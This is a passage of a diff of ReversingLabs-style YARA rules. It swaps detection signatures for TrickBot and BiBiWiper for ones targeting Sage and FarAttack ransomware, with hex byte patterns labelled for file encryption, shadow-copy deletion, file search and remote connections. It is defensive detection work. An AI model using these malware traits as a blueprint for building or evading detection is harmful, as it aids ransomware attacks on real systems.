?? + ?? ?? 73 ?? 85 FF 75 ?? A1 ?? ?? ?? ?? 50 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 66 + 01 1D ?? ?? ?? ?? 03 F3 E8 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? BA ?? ?? ?? ?? 66 89 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? + EB ?? 85 FF 74 ?? 8D 44 24 ?? 50 E8 + } + $remote_connection = { + 8B 44 24 ?? 83 EC ?? 53 8B 5C 24 ?? 56 8B 74 24 ?? 50 56 E8 ?? ?? ?? ?? 8B D8 83 C4 + ?? 83 FB ?? 75 ?? 5E B8 ?? ?? ?? ?? 5B 83 C4 ?? C3 8B 4C 24 ?? 55 8B 6C 24 ?? 57 55 + 56 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 56 FF 15 ?? ?? ?? ?? 50 56 53 E8 + ?? ?? ?? ?? 56 8B F8 E8 ?? ?? ?? ?? 83 C4 ?? 83 FF ?? 75 ?? 53 FF 15 ?? ?? ?? ?? 8D + 47 ?? 5F 5D 5E 5B 83 C4 ?? C3 8B 44 24 ?? 85 C0 74 ?? 85 ED 74 ?? 55 50 53 E8 ?? ?? + ?? ?? 83 C4 ?? 83 F8 ?? 75 ?? 53 FF 15 ?? ?? ?? ?? 5F 5D 5E B8 ?? ?? ?? ?? 5B 83 C4 + ?? C3 8D 54 24 ?? 52 E8 ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 83 C4 ?? 8D 49 ?? 8B 74 24 ?? + 8B C6 2B 44 24 ?? 75 ?? 8D 4C 24 ?? 6A ?? 51 E8 ?? ?? ?? ?? 8B 74 24 ?? 83 C4 ?? 2B + 74 24 ?? 6A ?? 56 8D 54 24 ?? 56 52 E8 ?? ?? ?? ?? 83 C4 ?? 50 53 FF D5 8B F8 85 FF + 78 ?? 2B C6 01 44 24 ?? EB ?? 29 74 24 ?? 83 FF ?? 74 ?? 85 FF 75 ?? 53 FF 15 ?? ?? + ?? ?? 85 FF 79 ?? 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 5F 5D 5E B8 ?? ?? ?? ?? 5B + 83 C4 ?? C3 8D 54 24 ?? 6A ?? 52 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 68 ?? ?? ?? ?? + 50 FF 15 ?? ?? ?? ?? 8B F0 85 F6 75 ?? 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 5F 5D + 8D 46 ?? 5E 5B 83 C4 ?? C3 8B 54 24 ?? 83 C2 ?? 6A ?? 52 E8 ?? ?? ?? ?? 8B 4C 24 ?? + 8B 54 24 ?? 8B F8 8B 44 24 ?? 2B F0 83 C6 ?? 2B CE 51 03 F0 56 52 E8 ?? ?? ?? ?? 8D + 44 24 ?? 50 E8 + } + $encrypt_files = { + 81 EC ?? ?? ?? ?? 53 55 56 8B 35 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? + 8B F8 FF D6 8B 8C 24 ?? ?? ?? ?? 8B E8 8B 84 24 ?? ?? ?? ?? 50 51 57 8D 94 24 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 6A ?? 50 + E8 ?? ?? ?? ?? 8B BC 24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 83 C4 ?? 89 4C 24 ?? BB ?? + ?? ?? ?? 85 FF 0F 84 ?? ?? ?? ?? EB ?? 8D 49 ?? 55 68 ?? ?? ?? ?? 83 FB ?? 7E ?? 8D + 94 24 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 74 24 ?? 8D BC 24 ?? ?? ?? ?? 52 F3 A5 E8 ?? ?? + ?? ?? 8B BC 24 ?? ?? ?? ?? 88 9C 2C ?? ?? ?? ?? 8D 75 ?? EB ?? 8D 84 24 ?? ?? ?? ?? + 50 E8 ?? ?? ?? ?? 88 9C 2C ?? ?? ?? ?? 8D 75 ?? 83 C4 ?? 6A ?? 8D 4C 24 ?? 6A ?? 51 + E8 ?? ?? ?? ?? 6A ?? 8D 94 24 ?? ?? ?? ?? 52 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? + 8D 44 24 ?? B9 ?? ?? ?? ?? 80 30 ?? 40 49 75 ?? 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 6A ?? + 8D 54 24 ?? 52 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 56 8D 8C 24 ?? ?? ?? ?? 51 8D + 94 24 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 8D 4C 24 ?? 51 E8 ?? ?? + ?? ?? 83 C4 ?? 8D 44 24 ?? B9 ?? ?? ?? ?? 8B FF 80 30 ?? 40 49 75 ?? 8D 54 24 ?? 52 + E8 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 8D 8C 24 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 6A ?? 8D + 54 24 ?? 52 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 51 8D 54 24 + ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B F7 83 FF ?? 72 ?? BE ?? ?? ?? ?? 8B 4C 24 ?? 56 8D + 44 24 ?? 50 51 E8 ?? ?? ?? ?? 01 74 24 ?? 2B FE 83 C4 ?? 43 89 BC 24 ?? ?? ?? ?? 85 + FF 0F 85 ?? ?? ?? ?? 5F 5E 5D 5B 81 C4 ?? ?? ?? ?? C3 + } + $find_files = { + 83 EC ?? 53 55 56 57 33 DB 68 ?? ?? ?? ?? 6A ?? 89 5C 24 ?? 89 5C 24 ?? E8 ?? ?? ?? + ?? 8B E8 8D 44 24 ?? 50 89 6C 24 ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? 55 51 E8 ?? ?? ?? ?? + 8B 74 24 ?? 6A ?? 56 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 55 68 ?? ?? ?? + ?? 89 5C 24 ?? 89 5C 24 ?? E8 ?? ?? ?? ?? 8B F8 57 8D 54 24 ?? 52 8D 44 24 ?? 50 E8 + ?? ?? ?? ?? 83 C4 ?? 89 44 24 ?? 3B C3 75 ?? 8B 4C 24 ?? 51 8D 54 24 ?? 52 E8 ?? ?? + ?? ?? 83 C4 ?? 57 E8 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? + ?? ?? 8B 44 24 ?? 50 56 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B 4C 24 ?? + 51 56 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B 54 24 ?? 52 56 E8 ?? ?? ?? + ?? 83 C4 ?? 33 FF 39 5C 24 ?? 76 ?? 8D 64 24 ?? 8B 44 24 ?? 8B 0C B8 51 56 E8 ?? ?? + ?? ?? 47 83 C4 ?? 3B 7C 24 ?? 72 ?? 39 5C 24 ?? 75 ?? 8B 44 24 ?? 3B C3 74 ?? 50 E8 + ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B 54 24 ?? 52 56 E8 ?? ?? ?? + ?? 8B 44 24 ?? 83 C4 ?? 89 5C 24 ?? 3B C3 0F 86 ?? ?? ?? ?? EB ?? 8D 9B ?? ?? ?? ?? + 8B 44 24 ?? 8B 4C 24 ?? 8B 1C 88 53 55 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 57 68 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 8B E8 E8 ?? ?? ?? ?? 6A ?? 56 89 44 24 ?? + E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 53 56 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? + 56 E8 ?? ?? ?? ?? 33 C0 8D 54 24 ?? 55 52 C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 89 84 + 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 + 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 50 56 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 8D 44 24 ?? 50 56 + E8 ?? ?? ?? ?? 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? + ?? 8B 5C 24 ?? E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 8B D3 52 E8 ?? ?? + ?? ?? 8B 4C 24 ?? 8B 44 24 ?? 8B 6C 24 ?? 41 83 C4 ?? 89 4C 24 ?? 3B C8 0F 82 ?? ?? + ?? ?? 33 DB 33 F6 3B C3 76 ?? 8B 44 24 ?? 8B 0C B0 51 E8 ?? ?? ?? ?? 46 83 C4 ?? 3B + 74 24 ?? 72 ?? 8D 54 24 ?? 52 E8 ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? + 3B C3 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 44 24 ?? 5F 5E 5D 3B C3 5B 74 ?? 50 E8 ?? + ?? ?? ?? 83 C4 ?? 83 C4 ?? C3 + } condition: - uint16( 0 ) == 0x5A4D and ( all of ( $get_disk_information_p* ) ) and ( all of ( $get_os_information_p* ) ) and ( all of ( $take_screenshot_p* ) ) + uint16( 0 ) == 0x5A4D and $scan_for_services and $find_files and $encrypt_files and $remote_connection } -rule REVERSINGLABS_Win32_Trojan_Trickbot : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win32_Ransomware_Sage : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects TrickBot trojan." + description = "Yara rule that detects Sage ransomware." author = "ReversingLabs" - id = "4ed253cc-0398-542b-a2b7-c42a0b9431fb" + id = "81f4c666-93f9-51bb-8dda-431ef7a81b74" date = "2020-06-26" modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/trojan/Win32.Trojan.TrickBot.yara#L1-L46" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Sage.yara#L1-L77" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e10f16c70f1ff7cf11d3e25f06e4c5d9e20c51688582d2b51322f768a8e06d7e" + logic_hash = "69079b7176050096cdbaaaff30dd0359366b3a6a74e8bc17db348794388f71ba" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Trojan" - tc_detection_name = "TrickBot" + tc_detection_type = "Ransomware" + tc_detection_name = "Sage" tc_detection_factor = 5 importance = 25 strings: - $entry_setup = { - 58 (68 | 8B) [6-8] 59 [1-3] E2 ?? 57 8B (C7 | EC) 8B (C7 | EC) 05 ?? ?? ?? ?? 68 [4-5] - 89 45 [1-2] 8B D7 [3-4] 8B C1 66 AD 85 C0 74 ?? 3B (C1 | C8) (72 | 77) ?? 2B C1 (C1 | D1) - [2-4] 8B CF 03 C8 81 C1 ?? ?? ?? ?? 8B 01 59 03 D0 52 EB ?? 89 45 ?? 8B C5 B9 ?? ?? - ?? ?? C1 E1 ?? 2B C1 8B 00 89 45 ?? 6A ?? 8B D0 59 FF D2 89 68 ?? 6A ?? 8B D0 FF D2 + $remote_connection = { + 83 EC ?? 8B 44 24 ?? 53 55 56 57 8B 7C 24 ?? 8B 77 ?? 50 E8 ?? ?? ?? ?? 8B 4C 24 ?? + 8B D8 51 89 5C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 89 44 24 + ?? C7 44 24 ?? ?? ?? ?? ?? 89 77 ?? FF 15 ?? ?? ?? ?? 8B E8 89 6C 24 ?? 85 ED 0F 84 + ?? ?? ?? ?? 8B 74 24 ?? 6A ?? 56 53 55 FF 15 ?? ?? ?? ?? 8B D8 89 5C 24 ?? 85 DB 0F + 84 ?? ?? ?? ?? 8B 4C 24 ?? 33 C0 BA ?? ?? ?? ?? 66 3B F2 0F 95 C0 48 25 ?? ?? ?? ?? + 50 6A ?? 6A ?? 6A ?? 51 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B F0 85 F6 0F 84 ?? ?? + ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? + ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 1D ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 8B FF + 8D 54 24 ?? 52 56 FF D3 8D 44 24 ?? 50 8B 44 24 ?? 50 50 57 E8 ?? ?? ?? ?? 83 C4 ?? + 50 56 FF D5 85 C0 0F 84 ?? ?? ?? ?? 83 7C 24 ?? ?? 75 ?? 6A ?? 8D 4C 24 ?? 51 8D 54 + 24 ?? 52 6A ?? 68 ?? ?? ?? ?? 56 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF + 15 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8B 5C 24 ?? 8B 6C 24 ?? 56 FF 15 ?? ?? ?? ?? + 53 FF 15 ?? ?? ?? ?? 55 FF 15 ?? ?? ?? ?? 8B 5C 24 ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? + 83 C4 ?? 8B 44 24 ?? 5F 5E 5D 5B 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 04 24 83 + C4 ?? C3 57 E8 ?? ?? ?? ?? 83 C4 } - $decrypt_function_snippet = { - 58 8B C8 75 ?? 58 2B F0 50 8B D8 49 75 ?? 59 58 59 5E 5F 5B C3 + $encrypt_files = { + 83 EC ?? 53 8B 1D ?? ?? ?? ?? 55 8B 6C 24 ?? 56 57 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 + ?? ?? ?? ?? 8D 7D ?? 57 FF D3 8B F0 83 FE ?? 74 ?? 8D 44 24 ?? 50 56 FF 15 ?? ?? ?? + ?? 89 44 24 ?? 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 83 7C 24 ?? ?? 0F 85 ?? ?? ?? ?? 8B + 4C 24 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 51 FF D3 8B D8 83 FB ?? 75 ?? + 56 FF 15 ?? ?? ?? ?? 5F 5E 5D B8 ?? ?? ?? ?? 5B 83 C4 ?? C3 8B 54 24 ?? 6A ?? 52 57 + 56 53 E8 ?? ?? ?? ?? 83 C4 ?? 56 8B 35 ?? ?? ?? ?? 8B E8 FF D6 53 FF D6 85 ED 79 ?? + 8B 44 24 ?? 50 FF 15 ?? ?? ?? ?? 5F 5E 8B C5 5D 5B 83 C4 ?? C3 57 E8 ?? ?? ?? ?? 8B + F0 56 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 57 8B D8 FF 15 ?? ?? ?? ?? 8B 4C 24 ?? + 6A ?? 53 51 EB ?? 8B 4C 24 ?? BA ?? ?? ?? ?? 3B 55 ?? 1B C0 83 C0 ?? 50 51 57 56 56 + E8 ?? ?? ?? ?? 83 C4 ?? 56 8B D8 FF 15 ?? ?? ?? ?? 85 DB 79 ?? 5F 5E 5D 8B C3 5B 83 + C4 ?? C3 57 E8 ?? ?? ?? ?? 8B F0 56 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8B + D8 53 57 FF 15 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 5F 5E 5D 33 + C0 5B 83 C4 ?? C3 } - $decrypt_function_snippet_wrapper = { - 55 BD ?? ?? ?? ?? 50 51 52 6A ?? FF 45 ?? 8B 45 ?? 59 F7 E1 8D 8D ?? ?? ?? ?? 03 C8 - 89 4D ?? 8F 41 ?? 8F 41 ?? 8F 41 ?? 8F 41 ?? 8F 01 89 79 ?? 89 71 ?? 8B D1 59 89 4A - ?? 55 2B C0 8B C8 8B 02 8B F8 58 41 41 41 41 50 2B C1 8B 00 3B C7 72 ?? 58 C1 E9 ?? - 49 89 4A ?? E3 ?? FF 55 ?? 8B 55 ?? 8B 4A ?? FF 55 ?? 50 51 50 6A ?? 59 FF 55 ?? FF - D0 + $find_files = { + 53 55 8B 2D ?? ?? ?? ?? 56 57 33 FF 57 57 FF D5 8B F0 85 F6 74 ?? 85 FF 74 ?? 57 E8 + ?? ?? ?? ?? 83 C4 ?? 8D 44 36 ?? 50 6A ?? 8B DE E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 57 56 + FF D5 8B F0 3B DE 72 ?? 66 83 3F ?? 8B DF 0F 84 ?? ?? ?? ?? 8B 6C 24 ?? 53 8B FB FF + 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 8D 5C 43 ?? FF D6 85 C0 74 ?? 68 + ?? ?? ?? ?? 57 FF D6 85 C0 74 ?? 57 FF 15 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 D3 E2 F6 + C2 ?? 74 ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 57 8B F0 E8 ?? ?? ?? ?? 6A ?? 89 06 8D 46 ?? + 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4E ?? 51 C7 46 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? + 8D 56 ?? 52 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 89 46 ?? E8 ?? ?? ?? + ?? 83 C4 ?? 66 83 3B ?? 0F 85 ?? ?? ?? ?? 5F 5E 5D 5B C3 } condition: - uint16( 0 ) == 0x5A4D and $entry_setup and ( $decrypt_function_snippet or $decrypt_function_snippet_wrapper ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $encrypt_files ) and ( $remote_connection ) } -rule REVERSINGLABS_Win32_Trojan_Bibiwiper : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win32_Ransomware_Farattack : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects BiBiWiper trojan." + description = "Yara rule that detects FarAttack ransomware." author = "ReversingLabs" - id = "8462ceb8-ec54-5f92-a3e7-c96e52647ca7" - date = "2023-11-28" - modified = "2023-11-28" + id = "7ee7121a-4ca2-513c-96dc-53b5c48d719f" + date = "2022-06-21" + modified = "2022-06-21" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/trojan/Win32.Trojan.BiBiWiper.yara#L1-L102" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.FarAttack.yara#L1-L93" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d75954c05a8f82ad90a4adf6a2a3748928488ddebe40d8f8a790bfcde0b02a11" + logic_hash = "af22b8110c2b545f083b443c7a1fa7e7639324e9188eefadfe1fe70ebb1bb7fb" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Trojan" - tc_detection_name = "BiBiWiper" + tc_detection_type = "Ransomware" + tc_detection_name = "FarAttack" tc_detection_factor = 5 importance = 25 strings: - $delete_shadow_copies_p1 = { - 48 89 5C 24 ?? 55 48 8D 6C 24 ?? 48 81 EC ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 - 48 89 45 ?? 33 DB 48 C7 44 24 ?? ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 5C 24 ?? 48 - 8D 4C 24 ?? 48 89 5C 24 ?? 44 8D 43 ?? E8 ?? ?? ?? ?? 48 83 7C 24 ?? ?? 48 8D 4C 24 - ?? 48 8B 54 24 ?? 48 0F 43 4C 24 ?? 48 03 D1 48 8D 4C 24 ?? 48 83 7C 24 ?? ?? 48 0F - 43 4C 24 ?? E8 ?? ?? ?? ?? 48 83 7C 24 ?? ?? 48 8D 4C 24 ?? 48 8D 55 ?? 48 0F 43 4C - 24 ?? 48 2B D1 0F B6 01 88 04 0A 48 8D 49 ?? 84 C0 75 ?? 0F 57 C0 C7 44 24 ?? ?? ?? - ?? ?? 48 8D 45 ?? 45 33 C9 48 89 44 24 ?? 48 8D 55 ?? 48 8D 44 24 ?? 45 33 C0 48 89 - 44 24 ?? 33 C9 48 89 5C 24 ?? 48 89 5C 24 ?? 0F 11 45 ?? C7 44 24 ?? ?? ?? ?? ?? 89 - 5C 24 ?? 0F 11 44 24 ?? 66 89 5D ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? - FF 15 ?? ?? ?? ?? 48 8B 54 24 ?? 48 83 FA ?? 72 ?? 48 8B 4C 24 ?? 48 FF C2 48 8B C1 - 48 81 FA ?? ?? ?? ?? 72 ?? 48 8B 49 ?? 48 83 C2 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? - 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 89 5C 24 ?? 48 8D 15 ?? ?? ?? - ?? 48 89 5C 24 ?? 48 8D 4C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 83 7C - 24 ?? ?? 48 8D 4C 24 ?? 48 8B 54 24 ?? 48 0F 43 4C 24 ?? 48 03 D1 48 8D 4C 24 ?? 48 - 83 7C 24 ?? ?? 48 0F 43 4C 24 ?? E8 ?? ?? ?? ?? 48 83 7C 24 ?? ?? 48 8D 4C 24 ?? 48 - 8D 55 ?? 48 0F 43 4C 24 ?? 48 2B D1 0F B6 01 88 04 0A 48 8D 49 ?? 84 C0 75 ?? 0F 57 - C0 C7 44 24 ?? ?? ?? ?? ?? 48 8D 45 ?? 45 33 C9 48 89 44 24 ?? 48 8D 55 ?? 48 8D 44 - 24 ?? 45 33 C0 48 89 44 24 ?? 33 C9 48 89 5C 24 ?? 48 89 5C 24 ?? 0F 11 45 ?? C7 44 - 24 ?? ?? ?? ?? ?? 89 5C 24 ?? 0F 11 44 24 ?? 66 89 5D ?? 0F 11 45 ?? 0F 11 45 ?? 0F + $find_files = { + 56 FF 73 ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 75 ?? 50 FF 15 ?? ?? ?? ?? 56 E8 ?? + ?? ?? ?? 59 6A ?? 58 E9 ?? ?? ?? ?? 8D 46 ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 03 C7 89 + 45 ?? 3D ?? ?? ?? ?? 0F 8D ?? ?? ?? ?? F7 06 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8D 4E ?? + 51 68 ?? ?? ?? ?? 6A ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? + 83 F8 ?? 0F 84 ?? ?? ?? ?? F6 06 ?? 74 ?? 8B 45 ?? 8D 04 45 ?? ?? ?? ?? 50 8D 46 ?? + 50 8B 43 ?? 8D 04 78 83 C0 ?? 50 E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 83 C4 ?? 8B 53 ?? + 8B 75 ?? 8B 01 53 89 44 72 ?? 66 8B 41 ?? 8B CE 66 89 44 4A ?? FF 43 ?? 83 63 ?? ?? + E8 ?? ?? ?? ?? FF 4B ?? 83 63 ?? ?? 8B 75 ?? E9 ?? ?? ?? ?? 83 7B ?? ?? 75 ?? FF 73 + ?? FF 73 ?? FF 73 ?? FF 73 ?? 57 FF 73 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? C7 43 + ?? ?? ?? ?? ?? 8D 46 ?? 50 FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? FF 35 ?? ?? ?? + ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 8D + 04 45 ?? ?? ?? ?? 50 8D 46 ?? 50 8B 43 ?? 8D 04 78 83 C0 ?? 50 E8 ?? ?? ?? ?? 83 C4 + ?? 83 7E ?? ?? 75 ?? 83 7E ?? ?? 74 ?? 6A ?? E8 ?? ?? ?? ?? 8B F8 8B 45 ?? 8D 34 00 + 8D 4E ?? 51 E8 ?? ?? ?? ?? 56 89 07 FF 73 ?? 50 E8 ?? ?? ?? ?? 8B 07 33 C9 83 C4 ?? + 66 89 0C 06 8B 75 ?? 51 57 51 8B 46 ?? 89 47 ?? 8B 46 ?? 89 47 ?? 8B 45 ?? 89 47 ?? + FF 73 ?? FF 15 ?? ?? ?? ?? 8B 7D ?? 8B 4B ?? A1 ?? ?? ?? ?? 89 44 79 ?? 66 A1 ?? ?? + ?? ?? 66 89 44 79 ?? 56 FF 75 ?? FF 15 } - $delete_shadow_copies_p2 = { - 11 45 ?? 0F 11 45 ?? FF 15 ?? ?? ?? ?? 48 8B 54 24 ?? 48 83 FA ?? 72 ?? 48 8B 4C 24 - ?? 48 FF C2 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 8B 49 ?? 48 83 C2 ?? 48 2B C1 48 - 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 89 5C 24 - ?? 48 8D 15 ?? ?? ?? ?? 48 89 5C 24 ?? 48 8D 4C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 - ?? ?? ?? ?? 48 83 7C 24 ?? ?? 48 8D 4C 24 ?? 48 8B 54 24 ?? 48 0F 43 4C 24 ?? 48 03 - D1 48 8D 4C 24 ?? 48 83 7C 24 ?? ?? 48 0F 43 4C 24 ?? E8 ?? ?? ?? ?? 48 83 7C 24 ?? - ?? 48 8D 4C 24 ?? 48 8D 55 ?? 48 0F 43 4C 24 ?? 48 2B D1 90 0F B6 01 88 04 0A 48 8D - 49 ?? 84 C0 75 ?? 0F 57 C0 C7 44 24 ?? ?? ?? ?? ?? 48 8D 45 ?? 45 33 C9 48 89 44 24 - ?? 48 8D 55 ?? 48 8D 44 24 ?? 45 33 C0 48 89 44 24 ?? 33 C9 48 89 5C 24 ?? 48 89 5C - 24 ?? 0F 11 45 ?? C7 44 24 ?? ?? ?? ?? ?? 89 5C 24 ?? 0F 11 44 24 ?? 66 89 5D ?? 0F - 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? FF 15 ?? ?? ?? ?? 48 8B 54 24 ?? 48 83 - FA ?? 72 ?? 48 8B 4C 24 ?? 48 FF C2 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 8B 49 ?? - 48 83 C2 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 B8 - ?? ?? ?? ?? 48 89 5C 24 ?? 48 8D 15 ?? ?? ?? ?? 48 89 5C 24 ?? 48 8D 4C 24 ?? 48 C7 - 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 83 7C 24 ?? ?? 48 8D 4C 24 ?? 48 8B 54 24 ?? - 48 0F 43 4C 24 ?? 48 03 D1 48 8D 4C 24 ?? 48 83 7C 24 ?? ?? 48 0F 43 4C 24 ?? E8 ?? - ?? ?? ?? 48 83 7C 24 ?? ?? 48 8D 4C 24 ?? 48 8D 55 ?? 48 0F 43 4C 24 ?? 48 2B D1 90 - 0F B6 01 88 04 0A 48 8D 49 ?? 84 C0 75 ?? 0F 57 C0 C7 44 24 ?? ?? ?? ?? ?? 48 8D 45 - ?? 45 33 C9 48 89 44 24 ?? 48 8D 55 ?? 48 8D 44 24 ?? 45 33 C0 48 89 44 24 ?? 33 C9 - 48 89 5C 24 ?? 48 89 5C 24 ?? 0F 11 45 ?? C7 44 24 ?? ?? ?? ?? ?? 89 5C 24 + $create_key = { + 55 8B EC 56 6A ?? E8 ?? ?? ?? ?? 8B F0 59 85 F6 75 ?? 32 C0 EB ?? A1 ?? ?? ?? ?? 53 + 33 DB 85 C0 74 ?? 53 6A ?? 53 53 56 FF D0 EB ?? 8A C3 84 C0 75 ?? FF 15 ?? ?? ?? ?? + 3D ?? ?? ?? ?? 75 ?? A1 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 6A ?? 53 